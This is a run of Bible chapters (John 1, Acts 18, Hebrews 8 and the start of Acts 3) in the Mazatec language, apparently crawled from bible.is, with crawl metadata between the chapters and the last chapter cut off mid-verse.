'a̱n.\" 16Nga̱ 'ñó tse kjo̱nda tjín‑la̱ ra jè; a̱sa 'ñó a̱sa 'ñó títjábé-isa‑ná kjo̱nda‑la̱. 17Jè kjo̱téxoma‑la̱ Nainá, jè Moisés ki'tsì‑la̱, tanga jè ra kjo̱nda ko̱ kjo̱hixi̱, jè Jesucristo 'jiìkó. 18Ni̱ kjè sa yá ra bexkon kó 'ki kjòn‑ni ra jè Nainá; tanga jè I'ndí‑la̱ ra ta jè ta̱jngo ma‑ni ra Nainá‑te ra ya̱ tíjna'ta‑la̱, jè‑ní ra bakón‑ná kó 'ki Nainá. 19Jñá 'én kìi̱ ra kitsjà Juan, 'kia̱ nga jñà xi̱ta̱ judío isìkasén na̱'mì ko̱ xi̱ta̱ Levita nga inchrabà‑ni ya̱ Jerusalén nga iskonangi‑la̱ Juan, kitsò‑la̱: ―¿Yá xi̱ta̱‑ni ra ji̱? 20Juan tsi'kéna̱jmí kixi̱‑ní, mì tsa tsakja'ma‑jìn, kitsó‑la̱: ―Mì tsa 'a̱n jiàa̱n Cristo [ra xá si̱ìkasén‑ni Nainá]. 21Xi̱ta̱ kìi̱, india iskonangi‑ni, kitsò: ―¿Yá‑ni ra ji̱? ¿A ji̱‑ní Elías? ―Mì tsa 'a̱n jiàa̱n ―kitsò Juan. ―¿O̱ ra ji̱‑ní jè xi̱ta̱ ra síchjeén Nainá nga chja̱ ngajo‑la̱ ra xá tjínè‑la̱ nga kj'i̱í? ―Majìn ―kitsó‑ní. 22Iskonangií india‑ila̱, kitsò‑la̱: ―¿Yá kjòn‑ni ra ji̱? Ko̱'tín‑náji̱n, mé‑nì nga ko̱ma ko̱híko̱‑la̱ji̱n 'én jñà ra isìkasén‑naji̱n. ¿Mé 'én 'bì a̱'ta tsa̱ji? 23'Kia̱á kitsò‑la̱ Juan: ―'A̱n‑ná xi̱ta̱ ra 'ñó chja̱ya ya̱ i̱'nde kixì ñánda̱ xìn'ta: \"Ndaá tjajna kixio̱ò ndi̱yá‑la̱ Na̱'ín‑ná\", koni 'sín kitsò Isaías xi̱ta̱ ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱. 24Jñà xi̱ta̱ ra isìkasén xi̱ta̱ fariseo, 25iskonangií india‑ila̱ kitsò‑la̱: ―¿Mé‑ni nga xi̱ta̱ batíndá‑ni, tsa mì tsa ji̱‑ni ra Cristo, ko̱ tsa mì tsa ji̱ ra Elías ko̱ ti̱'koa̱á tsa mì tsa ji̱‑ti jè xi̱ta̱ ra isìchjeén Nainá nga chja̱ya ngájo‑la̱? 26Kiìchja̱á Juan nga kitsò‑la̱: ―'A̱n, ta nandá batíndá‑na, tanga tíjnajin masen jngo‑najiòn ra mì kì 'yaxkon. 27Jè‑ní ra 'sa̱ nchrabátji̱ngi‑na, jè ra isa̱ tíjna ítjòn‑ni koni 'a̱n. Skanda mì kì bakèn‑na nga 'a̱n skíjnda̱'ñó‑la̱ jè xo̱xín xa̱jté‑la̱. 28Nga'tsì kjoa̱ kìi̱, ya̱á na̱xi̱ndá Betania nga ko̱'sín kjomà, ya̱ ra ijngoa ndáje̱ ra 'mì Jordán, ñánda̱ nga tsatíndá xi̱ta̱ jè Juan. 29'Kia̱ nga ma nchijòn, Juan kijtseé Jesús nga tínchrabá ñánda̱ nga síjna ra jè, ko̱ a̱kjòn kitsò: ―¡Chítsijen‑la, jè ra̱kìi̱ ra síkasén Nainá koni tsa jngo Forrè I'ndí ra faháxìn jé‑la̱ xi̱ta̱ i̱sà'nde! 30A̱'ta 'tse̱é xi̱ta̱ ra̱kìi̱ ra kíchjàa̱ 'kia̱ nga ko̱kíxin‑no: \"Nchrabá jngo xi̱ta̱, jè ra tíjna ítjòn‑na, ra isa̱ kjotseé tíjna‑ni koni 'a̱n.\" 31Ra 'a̱n, nda mí bexkon tsiki; kií ta nandá batíndá‑na mé‑ni nga katabexkon‑ni jñà xi̱ta̱ na̱xi̱ndá Israel. 32Juan, 'koa̱á ti̱'sín kitsjà 'én nga kitsò: ―Kíjtse‑náa̱ jè Inìma̱ Tsje‑la̱ Nainá nga itjojen‑ni ngajmi nga ko̱'sín 'ki koni jngo tjo̱ni̱ña̱, nga kiskàtje̱nsòn‑la̱ Jesús. 33'A̱n mì kì bexkon; tanga jè Nainá ra isìkasén‑na nga ko̱ nandá tsatíndá‑na xi̱ta̱, 'koa̱á 'sín kitsò‑na: \"Jè ra jchi̱i nga ki̱tjojen‑nè jè Inìma̱ Tsje‑na̱ nga ya̱ ska̱tje̱n‑sòn‑la̱, jè‑ní ra ko̱ Inìma̱ Tsje‑na̱ ko̱tíndá‑ni xi̱ta̱.\" 34'A̱n, ijyeé ko̱'sín kíjtsee̱, ko̱ tsja‑ná 'én‑na̱ nga jè‑ní ra I'ndí‑la̱ Nainá. 35Ra kjomà nchijòn, ti̱ya̱á tíjna india‑ni Juan; tji̱ko̱ jò xi̱ta̱ ra ya̱ koté'yá'ta‑la̱. 36'Kia̱ nga kijtse nga ya̱ tsá'ba Jesús, kitsò Juan: ―¡Chítsijen‑la, jè ra̱kìi̱ forrè‑la̱ Nainá [ra ki̱yátjì‑la̱ xi̱ta̱]! 37Ngajò xi̱ta̱ kìi̱ 'kia̱ nga kií'nchré koni 'sín kitsò Juan, kijìtji̱ngií‑la̱ Jesús. 38'Kia̱ nga isíkáfa Jesús, kijtse‑ní nga ya̱ i̱nchifìtji̱ngi‑la̱ jñà xi̱ta̱ kìi̱, kitsò‑la̱: ―¿Mé ra fatsjio? 'Kia̱á kitsò ngajò xi̱ta̱ kìi̱: ―Maestro, ¿ñánda̱ tijni? 39Jesús kitsó‑la̱: ―Nchrabá, chítsijen‑la. Kiìko̱‑ní, ko̱ kijtseé ñánda̱ bijna Jesús, ya̱á tsikìtsa̱hijyoko̱ ni̱chjin jè, ta nga̱tjì‑la̱ nga ijyeé kjòhixòn, ijchó‑la tsa las cuatro. 40Jñà ngajò xi̱ta̱ kìi̱, ra kiìtji̱ngi‑la̱ Jesús 'kia̱ nga kií'nchré‑la̱ Juan koni 'sín kitsò, jngo ra 'mì Andrés ra 'ndse̱ ma Simón Pedro. 41Andrés, jè iskajin ítjòn 'ndse̱ ra 'mì Simón, kitsò‑la̱: ―Ijyeé ka'yaxkon‑ji̱n jè Mesías ra Cristo tsò‑ni, [jè ra xá isìkasén‑ni Nainá]. 42Andrés kiìko̱ó jè Simón ñánda̱ tíjna Jesús; 'kia̱ nga kijtse Jesús, kitsó‑la̱: ―Ji̱‑níi̱ Simón, ti‑la̱ Jonás, tanga 'ndi̱ 'ndi̱, Cefas 'kín‑li. (Cefas, Pedro tsó‑ni.) 43Ra ma nchijòn, Jesús, 'koa̱á 'sín kjomejèn‑la̱ nga ya̱ ki̱ji̱ ján nangi Galilea. Ko̱ ya̱á iskajin jè Felipe, kitsò‑la̱: ―Nchrabátji̱ngi‑ná. 44Jè Felipe ya̱á i̱'nde‑la̱ ya̱ na̱xi̱ndá Betsaida, ya̱ ñánda̱ i̱'nde‑la̱ Andrés ko̱ Pedro. 45Felipe kiì kátsjií jè ra 'mì Natanael, kitsò‑la̱: ―Ijyeé ka'yaxkon‑ji̱n jè ra síkaxki̱ xa̱jo̱n kjo̱téxoma ra tsikínda Moisés ko̱ 'tse̱ xi̱ta̱ ra kiìchja̱ ngajo‑la̱ Nainá, jè Jesús ra ya̱ i̱'nde‑la̱ na̱xi̱ndá Nazaret jè ra i'ndí‑la̱ José. 46Natanael kitsò‑la̱ jè Felipe: ―¿A maá ya̱ ki̱tjokajin‑ni ya̱ na̱xi̱ndá Nazaret jngo ra nda 'si̱in? Kitsó jè Felipe: ―Nchrabí, ko̱ chítsijen saba‑la̱. 47Jesús 'kia̱ nga kijtse jè Natanael nga ya̱ tínchrabá'ta‑la̱, kitsó ra a̱'ta 'tse̱: ―Jè ra̱kìi̱ ra ngi kixi̱ síjchá ijo‑la̱ koni jngo xi̱ta̱ Israel, ko̱ mì tsa kjoa̱ndiso tjín ra a̱'ta 'tse̱. 48Natanael kitsó‑la̱ Jesús: ―¿Kó'sín ma‑ni nga 'yaxkon‑ná? Jesús kitsó‑la̱: ―Kàbeé‑la 'kia̱ nga ti̱kjè chja̱‑li jè Felipe, 'kia̱ nga tijnangi ya̱ yá‑la̱ to igo̱. 49Natanael kitsó‑ní: ―Maestro, ji̱‑ní ra I'ndí‑la̱ Nainá, ko̱ ji̱‑ní xi̱ta̱xá ítjòn‑la̱ na̱xi̱ndá Israel. 50Kiìchja̱ Jesús, kitsò‑la̱: ―¿A ta kií kàmakjiín‑li nga ko̱kàxin‑la nga kàbeé‑la nga ya̱ tijnangi ya̱ yá‑la̱ to igo̱? 'Koa̱á xín‑la nga isa̱á tse kjoa̱xkón jcha̱ isi. 51Kitsò‑isa‑la̱ Jesús: ―Ngi kjo̱hixi̱‑ní ra xin‑no, jcha̱‑nájiòn nga tjá'xa̱ jè ngajmi ko̱ jñà ìkja̱li̱‑la̱ Nainá ko̱'ki ki̱ji̱mijìn ko̱ ko̱'ki kji̱nchrabàjen‑nè‑na 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱.\nSan Juan 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/John\/1","date":"2013-12-10T02:47:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164005827\/warc\/CC-MAIN-20131204133325-00006-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.0000081062316895}","num_words":1063,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.349,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga ijye kjomà a̱skan‑nioo̱, Pablo itjokàjiín ya̱ Atenas, a̱kjòn kijì ya̱ Corinto. 2Ya̱á iskajin jngo xi̱ta̱ judío ra 'mì Aquila ko̱ chjo̱ón‑la̱ ra 'mì Priscila. Ya̱á nangi‑la̱ ñánda̱ 'mì Ponto. Sa ta 'kia̱á 'ji‑ni ya̱ nangi Italia, ta nga̱tjì‑la̱ nga̱ jè Claudio ra xi̱ta̱xá ítjòn tíjna tsachrjeé jngo kjo̱téxoma nga nga'tsì xi̱ta̱ judío katitjokàjin ya̱ na̱xi̱ndá Roma. Pablo kiì'tsé jñà xi̱ta̱ kìi̱. 3Jñà xi̱ta̱ kìi̱, ti̱'koa̱á kií xá 'sín jè xá ra 'sín Pablo nga ni'ya nikje bínda. Ya̱á tsikijnako̱ nga̱ ta̱ña isíxákjo. 4Xki̱ jin ni̱chjin fì Pablo, 'kia̱ nga ni̱chjin níkjáya, ya̱ ni'ya sinagoga nga fíkáko̱ jñà xi̱ta̱ judío ko̱ ra mì tsa xi̱ta̱ judío, jè ra mejèn‑la̱ nga katakjiín‑la̱. 5'Kia̱ nga 'ji‑ni ya̱ Macedonia jè Silas ko̱ Timoteo; jè Pablo ngi ta jè xá ki'sìn nga tsi'kéna̱jmíya‑la̱ 'én‑la̱ Nainá jñà xi̱ta̱ judío. Ko̱kitsò‑la̱ nga jé Jesús, jè Cristo [ra xá inikasén‑ni]. 6Tanga jñà xi̱ta̱ judío, tsatéchjà‑la̱ jè Pablo ko̱ kiìchja̱jno‑la̱; 'koa̱á 'sín kjomà‑ni nga jè Pablo tsikítsajne nikje‑la̱ [jè ra bakón nga mì tsa jè Pablo tjín‑la̱ jé nga mì kjokjiín‑la̱ xi̱ta̱ kìi̱]; ko̱ 'kia̱á kitsò‑la̱: ―Tsa̱jión‑nó jé tsa mì kì makjiín‑no; ti̱jiòn i̱nchinìjchìjà‑no ijo‑no. Mì tsa mé jé tjín‑na ra 'a̱n. 'Ndi̱ 'ndi̱, ya̱á jnchro kjín-tji̱ngi‑la̱ jñà ra mì tsa xi̱ta̱ judío nga kokon‑yá‑la̱ jñà 'én kìi̱. 7Pablo, itjo‑ní ya̱ ni'ya sinagoga; ya̱á kijì jngo ni'ya ra ya̱ kjijna'ta chraña‑la̱ 'tse̱ xi̱ta̱ ra Ticio Justo 'mì ra nda bexkón Nainá. 8Jè xi̱ta̱ ra 'mì Crispo, jè ra tíjna ítjòn ya̱ ni'ya sinagoga, kjokjiín‑la̱ a̱'ta 'tse̱ Na̱'ín‑ná ko̱ nga'tsì xi̱ta̱ ra títsa̱jna ya̱ ni'ya‑la̱; ti̱'koa̱á kjín xi̱ta̱ Corinto ra kií'nchré 'én ra tsakón‑ya Pablo kjokjiín‑la̱, a̱kjòn isatíndá. 9India, 'kia̱ nga ni̱tje̱n, jè Na̱'ín‑ná kiìchja̱‑la̱ Pablo nga tsatsíjen‑la̱ koni tsa nijñá tí'bì‑la̱. Kitsò‑la̱: ―Kì tà chjàn skon‑jìn, ti̱nákjoa̱‑ní, ko̱ kì jyò bijni 10Mì kì ma yá ra kó si̱ìko̱‑li, 'a̱án tíjna̱ko̱‑la; ya̱ na̱xi̱ndá ra̱kìi̱, kjín ma‑ni jñà ra ijye xi̱ta̱ tsa̱'a̱n ma. 11Jè Pablo, inó masen tsikijna ya̱ Corinto nga tsakón‑ya 'én‑la̱ Nainá. 12Tanga 'kia̱ kjomà xi̱ta̱xá ítjòn jè ra 'mì Galión, jè ra batéxoma‑la̱ nga'tsì na̱xi̱ndá ya̱ i̱'nde ra 'mì Acaya, jñà xi̱ta̱ judío tsajo̱óya‑ni nga itsabá'ñó Pablo, nga kiìko̱ ya̱ ni'ya masen. 13Kitsò‑la̱ jè xi̱ta̱xá: ―Xi̱ta̱ ra̱kìi̱, 'koa̱á 'sín tíminchá'a xi̱ta̱ na̱xi̱ndá nga kj'ií‑ró 'sín jcha̱xkén Nainá koni 'sín tjín kjo̱téxoma 'tse̱ Roma. 14'Kia̱ nga mejèn kiìchja̱ Pablo, jè Galión kitsó‑la̱ xi̱ta̱ judío: ―Tsa jngoó kjoa̱ ra tse tjín ko̱ ra i'in tjín, tjínè‑la̱ nga 'a̱n kìndájián; 15tanga tsa tà 'én‑ní, tsa tà kjo̱téxoma tsa̱jión‑nó; tà jiòn tindajión; 'a̱n mì kì ko̱tjín kjoa̱ ra skaájiaa̱n. 16A̱kjòn tsachrje ya̱ ni'ya masen. 17Nga'tsì jñà xi̱ta̱ griego itsabá'ñó jè xi̱ta̱ ítjòn ra 'mì Sóstenes ra ya̱ chja̱‑ni ya̱ ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío. Iskajàn‑ko̱ ya̱ a̱ya ni'ya masen ya̱ ngixko̱n xi̱ta̱xá ítjòn ra 'mì Galión, tanga ra jè, mì kì isìsin‑la̱. 18Pablo, kjín ni̱chjin tsikijna‑isa ya̱ Corinto. Ra kjomà a̱skan isíkjáya‑la̱ xákjién nga kijì ya̱ Siria. Tsakáhijtako̱ Priscila ko̱ Aquila. Ya̱ Cencrea tsikíjno‑la̱ tsja̱‑sko̱ koni jngo chi̱ba̱ ra bakón nga ijyeé itjasòn‑la̱ koni 'sín kitsjà‑la̱ tsa'ba jè Nainá. 19'Kia̱ nga ijchò ya̱ Éfeso, ya̱á isíkítsa̱jna Priscila ko̱ Aquila. Jè Pablo, ya̱á kijì ya̱ ni'ya sinagoga nga tsakáko̱na̱jmí jñà xi̱ta̱ judío ra ya̱ maxkóya. 20Jñà xi̱ta̱ kìi̱ tsikítsa'ba‑la̱ Pablo nga isa̱ kjìn ni̱chjin katijnako̱, tanga jè Pablo, mì kì kjokjiín‑la̱. 21Isíkjáyaá‑la̱ jñà xi̱ta̱ xákjién nga kijì‑ni, kitsò‑la̱: ―Tsa Nainá mejèn‑la̱, a̱skan kjíhi̱'tse india‑no. A̱kjòn kijì nga itjojin ya̱ Éfeso, iskábé jngo chitso. 22'Kia̱ nga ijchò Cesarea, kijì ján Jerusalén nga 'jaha katsíjen‑la̱ xi̱ta̱ na̱xi̱ndá‑la̱ Cristo. A̱kjòn kijì skanda Antioquía. 23Kjín ni̱chjin tsikijna ya̱ Antioquía; ra kjomà a̱skan, jngó jngó na̱xi̱ndá kijì ra chja̱‑ni kóho'ki ya̱ i̱'nde Galacia ko̱ Frigia. Kitsjá‑la̱ 'én nga'tsì xi̱ta̱ ra kotá'yá'ta‑la̱ Cristo nga isa̱ nda kata'ñó ikon nga kixi̱ katincha a̱'ta 'tse̱ Nainá. 24Ya̱ Éfeso, ijchó jngo xi̱ta̱ judío ra 'mì Apolos ra ya̱ i̱'nde‑la̱ Alejandría. Xi̱ta̱ ra̱kìi̱, 'ñó nda ma‑la̱ 'béna̱jmíya. 'Ñó nda tjíjin‑la̱ a̱'ta 'tse̱ Xa̱jo̱n ra tjí'ta 'Én‑la̱ Nainá. 25Jè Apolos, xá iskotá'yá‑ni ndi̱yá‑la̱ Nainá; 'ñó tsja tjín‑la̱ a̱jin inìma̱‑la̱ nga ngi kixi̱í 'béna̱jmíya ti̱'koa̱á 'ñó kixi̱ tsakón‑ya a̱'ta 'tse̱ Jesús; ni̱'sín jè kjoa̱ 'tse̱ satíndá, tà jé tjíjin‑la̱ kó'sín nga tsakón‑ya Juan. 26Jè Apolos, 'ñó tjín ikon nga kiìchja̱ ya̱ a̱ya ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío. 'Kia̱ nga kií'nchré jè Priscila ko̱ Aquila, kiìchja̱'tàxín‑la̱ nga isa̱ kixi̱ tsakón‑ya‑la̱ jè ndi̱yá‑la̱ Nainá. 27Jè Apolos, 'kia̱ nga kjomejèn‑la̱ kijì ya̱ i̱'nde Acaya, nga'tsì 'ndsé, kisí'ñó ikon nga kjomà kijì. A̱kjòn tsikínda jngo xa̱jo̱n ra isìkasén‑la̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Cristo ra tjítsa̱jna ya̱ i̱'nde Acaya nga katasísin‑la̱ jè Apolos 'kia̱ nga ki̱jchò. Ko̱ 'kia̱ nga ijchò, jè Apolos, 'ñó nda kjochjeén‑la̱ jñà xi̱ta̱ ra ta kjo̱nda 'tse̱ Nainá nga kjokjiín‑la̱ a̱'ta Jesús. 28Apolos, 'ñó nda tsajo̱ókjo‑ko̱ xi̱ta̱ Judío ya̱ ngixko̱n na̱xi̱ndá. Ko̱ isikijneé‑la̱ nga ma isíkítsa̱jnajyò, nga̱ jé Xa̱jo̱n‑la̱ Nainá isìchjeén nga tsakón‑la̱ nga jè Jesús, jè‑ní ra Cristo [ra xá inikasén‑ni].\nHechos 18","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Acts\/18","date":"2013-12-07T05:04:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163053558\/warc\/CC-MAIN-20131204131733-00024-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000087022781372}","num_words":803,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.335,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Nga'tsì kjoa̱ ra i̱nchichibaya‑ná, tjín jngo ra isa̱ 'ñó chjí‑la̱, jè‑ní nga tíjnaá jngo‑ná na̱'mì ítjòn ra ya̱ tsikijna'ta nga kixi̱‑la̱ ya̱ íxile̱‑la̱ Nainá jè ra tíbatéxoma ya̱ ján ngajmi. 2Ya̱á síxá ya̱ ñánda̱ tíjna ra ngi Ni'ya Tsje‑la̱ Nainá ra jè sabà Nainá tsikínda, ko̱ mì tsa xi̱ta̱ tsikínda. 3Nga'tsì ra na̱'mì ítjòn 'koa̱á 'sín satéxoma‑la̱ nga kjo̱tjò tsjá‑la̱ Nainá ko̱ cho̱ sí'ken, ko̱ 'koa̱á 'sín ma‑ni nga jè Cristo, ti̱'koa̱á machjeén‑ní nga ki'se‑te‑la̱ mé ra kitsjà‑la̱ Nainá. 4Jè Cristo, tsa i̱í‑la tíjna i̱ a̱'ta nangi, skanda mí‑la ko̱ma nga na̱'mì kíjna, nga̱ i̱ a̱'ta nangi, ta̱ 'koa̱ tjín na̱'mì ra tsjá‑la̱ kjo̱tjò Nainá koni 'sín tíchja̱ jè kjo̱téxoma ra tsikínda Moisés. 5Tanga jñà na̱'mì ra tjín i̱ a̱'ta nangi ya̱á síxá ya̱ ni'ya ra ta i̱sén‑la̱ ko̱ jè ra ta 'ngién‑la̱ jè Ni'ya Tsje‑la̱ Nainá ra tíjna ya̱ ján ngajmi; koni 'sín tsi'kìn‑la̱ Moisés, 'kia̱ nga ijye mejèn ki̱ì'tsia̱ kjòn nga ki̱ìnda jè ni'ya tsje‑la̱ Nainá ra 'tse̱ nikje, 'kia̱ nga kitsò‑la̱: \"Nda kjón ti̱kítsjin koni 'ki ra ítsakon‑la ya̱ nindo Sinaí, 'koa̱ kjón 'sín 'ki ra 'ki ra tinda jngi.\" 6Tanga 'ndi̱‑ni̱, isa̱á nda tjín jè xá ra itjábé‑la̱ Jesucristo nga na̱'mì ítjòn tíjna, nga̱ jè basèn‑jin‑ná jngo kjoa̱ xi̱tse̱ ra isa̱ nda tjín ra tsikíndajín Nainá ko̱ jñà xi̱ta̱, ta nga̱tjì‑la̱ nga ya̱á nchrabá'ta‑ni 'én ra isa̱ nda tjín koni 'sín ijye kitsjà tsa'ba Nainá. 7Tsa mí‑la mé isìjchija'ta‑la̱ jè kjoa̱ ra isindajín ítjòn, mí‑la ti̱ machjeén‑ni tsa ìjngo 'ká si̱ndajín india‑ni. 8Tanga Nainá 'kia̱ nga tsakátiko̱ kitsò‑la̱: Ki̱jchò ni̱chjin 'kia̱ nga ìjngo kjoa̱ xi̱tse̱ kindájín‑ko̱ò jñà xi̱ta̱ Israel ko̱ xi̱ta̱ Judá. 9Jè kjoa̱ xi̱tse̱ ra kindájín‑ko̱ò, mì tsa ti̱ ko̱'sín si̱ndajín‑ni koni 'tse̱ xi̱ta̱ jchínga‑la̱, 'kia̱ nga 'a̱n kjón ítsabá'ñó tsja nga ítsachrjékàjian ya̱ nangi Egipto. Jñà xi̱ta̱ kìi̱, ta nga̱tjì‑la̱ nga mì isìhitjasòn jè kjoa̱ ra ítsikindájín‑ko̱, 'koa̱á 'sín kjomà‑ni nga kítsjin‑tákon. 10'Kia̱ nga ijye ko̱to ni̱chjin kìi̱, jè kjoa̱ xi̱tse̱ ra kindájín‑ko̱ jñà xi̱ta̱ Israel, ki̱í'sín tjín: Jñà kjo̱téxoma‑na̱, ya̱á sikjáha'sen‑jiaa̱n ya̱ a̱jin kjo̱bítsjen‑la̱, ko̱ ya̱á kindá'tá ya̱ a̱jin inìma̱‑la̱. Ko̱ 'a̱án ko̱ma jè Nainá‑la̱ ko̱ jñà ko̱ma xi̱ta̱ na̱xi̱ndá‑na̱. 11Mì kì ti̱ ko̱chjeén‑ni nga xi̱ta̱ xákjín ko̱kòn‑ya‑la̱, ni̱ jè 'ndse̱ ko̱ki̱tso̱‑la̱ nga katabexkon‑na nga 'a̱n‑ná ra Nainá; nga̱ nga'tsí xi̱ta̱ ske̱xkon‑na, ma'tsia̱ kjòn‑ni ra i̱xti skanda jñà ra 'ñó xi̱ta̱ jchínga. 12'A̱án sijchá'ta‑la̱ nga'tsì kjoa̱'cho ra ki'sìn, ko̱ ni̱ì‑ti̱‑kjiá síkítsjen‑na jñà jé‑la̱. 'Koa̱á xiaa̱n 'a̱n ra Nainá. 13'Kia̱ nga Nainá chja̱ a̱'ta 'tse̱ ra ìjngo‑isa kjoa̱ xi̱tse̱ ra sindajín, kií nga̱tjì‑la̱ nga ijyeé kjójchínga jè ra isinda ítjòn; ko̱ jè kjoa̱ jchínga ra ijye tífehe'ta, ta chibaá ni̱chjin chija‑isa‑la̱ nga ngi jchi̱ja.\nHebreos 8","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Heb\/8","date":"2013-12-13T10:36:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164929439\/warc\/CC-MAIN-20131204134849-00025-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"maa_Latn_score\": 1.0000094175338745}","num_words":431,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.364,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jngoò k'a kiì Pedro ko̱ Juan ya̱ i̱ngo̱ ítjòn ts'e̱ xi̱ta̱ judío. Ijchò‑la xi jàn nga nguixòn k'e̱ nga chja̱t'aà‑la̱ Nainá jñà xi̱ta̱. 2Na̱chrjein nchijòn bijchó síkíjna jngoò xi̱ta̱ i̱ma̱ xi mìkiì ma fì. Xi̱ta̱ jè k'oa̱á s'ín kits'iìn. Ya̱á bìjnajto xotjoa̱‑la̱ i̱ngo̱ ítjòn xi k'oa̱s'ín tjít'aà 'ín: xotjoa̱ xi ndaà kji. Xi̱ta̱ jè, to̱n síjé kjo̱tjò‑la̱ jñà xi̱ta̱ xi fahas'en ndi̱tsin i̱ngo̱. 3Jè xi̱ta̱ xi mìkiì ma fì, k'e̱ nga kijtseè Pedro ko̱ Juan nga nchifahas'en ndi̱tsin i̱ngo̱, kisìjé kjo̱tjò‑la̱ to̱n. 4Jè Pedro ko̱ Juan, kiskoò'an; jè Pedro kitsò‑la̱: ―¡Chítsejèn‑'a‑náje̱n! 5Jè xi̱ta̱ xi mìkiì ma fì kiskoò'an; k'oa̱á s'ín komà‑la̱ koni tsà tjín xi tsjá‑la̱. 6Ta̱nga jè Pedro kitsò‑la̱: ―Ni̱mé to̱n tjín‑na xi oro ko̱ xi plata, ta̱nga jè xi tjín‑na tsjaà‑lè; i̱t'aà ts'e̱ Jesucristo xi Nazaret ts'e̱, ti̱sítji̱in, ti̱tjájmiì. 7Jè Pedro, k'e̱ nga o̱kitsò‑la̱, kiskoé tsja kixi̱, kiskímiìtje̱n; ni̱to̱ón kis'e‑la̱ nga'ñó tsji ndso̱ko̱, kóho̱kji ndso̱ko̱. 8Jè xi̱ta̱ jè, kiskì'nga nga tsasítje̱n; i̱kjoàn tsibíts'ia̱ nga tsajmeè‑ne; jahas'en‑ko̱ ndi̱tsin i̱ngo̱ jè Pedro ko̱ Juan nga ndso̱ko̱ kiì‑ne; fìjen fìkjá, kjì'nga kìtsian nga jeya kisìkíjna Nainá. 9Ngats'iì xi̱ta̱ na̱xa̱ndá kijtseè jè xi̱ta̱ jè nga jye ma fì‑ne ko̱ nga jeya kisìkíjna Nainá. 10Tà kjòxkón‑la̱ xi̱ta̱, ti̱koa̱á tà kitsakjòn‑né koni s'ín komàt'in jè xi̱ta̱ jè nga jyeé beèxkon nga jè‑né xi síjé kjo̱tjò to̱n ya̱ xotjoa̱ i̱ngo̱ xi k'oa̱s'ín tjít'aà 'ín‑la̱: xotjoa̱ xi ndaà kji. 11Jè xi̱ta̱ xi jye kjòndaà‑ne, mìkiì tsjeiìn nga kitsobà'ñó Pedro ko̱ Juan. Ngats'iì xi̱ta̱ na̱xa̱ndá tà k'oa̱á komà‑la̱; k'e̱é tsangachikon kiìtji̱ngui‑la̱ ya̱ i̱ngo̱ ítjòn, ya̱ nguitjoa̱‑la̱ xi 'mì Salomón. 12Jè Pedro, k'e̱ nga kijtseè jñà xi̱ta̱ na̱xa̱ndá, kitsò‑la̱: ―Jñò, xi̱ta̱ xinguia̱á xi xi̱ta̱ Israel 'mì‑ná, ¿mé‑ne maxkón‑onò? ¿Mé‑ne ngaje̱n chì'àn‑náje̱n? ¿A k'oa̱á s'ín nìkítsjeèn koni tsà nga'ñó tsa̱je̱n ko̱ kjo̱ndaà tsa̱je̱n kòmandaà‑ne xi̱ta̱ jè nga ma fì‑ne? 13Jè xi Nainá tsò‑la̱ Abraham, Isaac, Jacob ko̱ ngats'iì xi̱ta̱ jchínga‑ná xi i'nga, jè‑né xi jeya kàsíkíjna Jesús xi chi̱'nda‑la̱ ma; ti̱jè‑ne Jesús xi jñò kinìnga̱tsja xi̱ta̱xá. Jñò, mìkiì kits'iì'nde k'e̱ nga jè Pilato mejèn‑la̱ si̱ìkíjnandei̱í‑ne. 14Jñò, kinachrjekànguio jè xi Xi̱ta̱ Tsjeè ko̱ xi Xi̱ta̱ Kixi̱; i̱kjoàn kinìjé nga tsibìjnandei̱í jè xi̱ta̱ xi mik'en kitje̱n‑la̱. 15Jñò kinìk'eèn jè xi síkíjnakon‑ná ta̱nga jè Nainá kisìkjaáya‑la̱. Ngats'iì kjoa̱ koi, ki'ya‑náje̱n, k'oa̱á ma‑ne nga bèno̱jmí‑je̱n. 16Jesús kàtsjá‑la̱ nga'ñó xi̱ta̱ jè xi jñò titsa̱'yaà ti̱koa̱ yaxkoòn, koi‑né nga mokjeiín‑naje̱n i̱t'aà ts'e̱ Jesús. Tà koií kjoa̱‑la̱ nga ndaà mokjeiín‑naje̱n nga ndaà kòmandaà‑ne xi̱ta̱ jè nga nguixkoòn jñò xi i̱ titsa̱jnaà. 17''Ndsè, jyeé tíjiìn‑na, k'e̱ nga k'oa̱s'ín ki'nè ko̱ xi̱ta̱xá‑nò nga kinìk'eèn Jesús, koi‑né nga mìkiì machi̱ya‑nò. 18Jè Nainá, k'oa̱á s'ín kisìkitasòn koni s'ín kiìchja̱ ngats'iì xi̱ta̱‑la̱ xi kiìchja̱ ngajo‑la̱ nga jè Cristo [jè 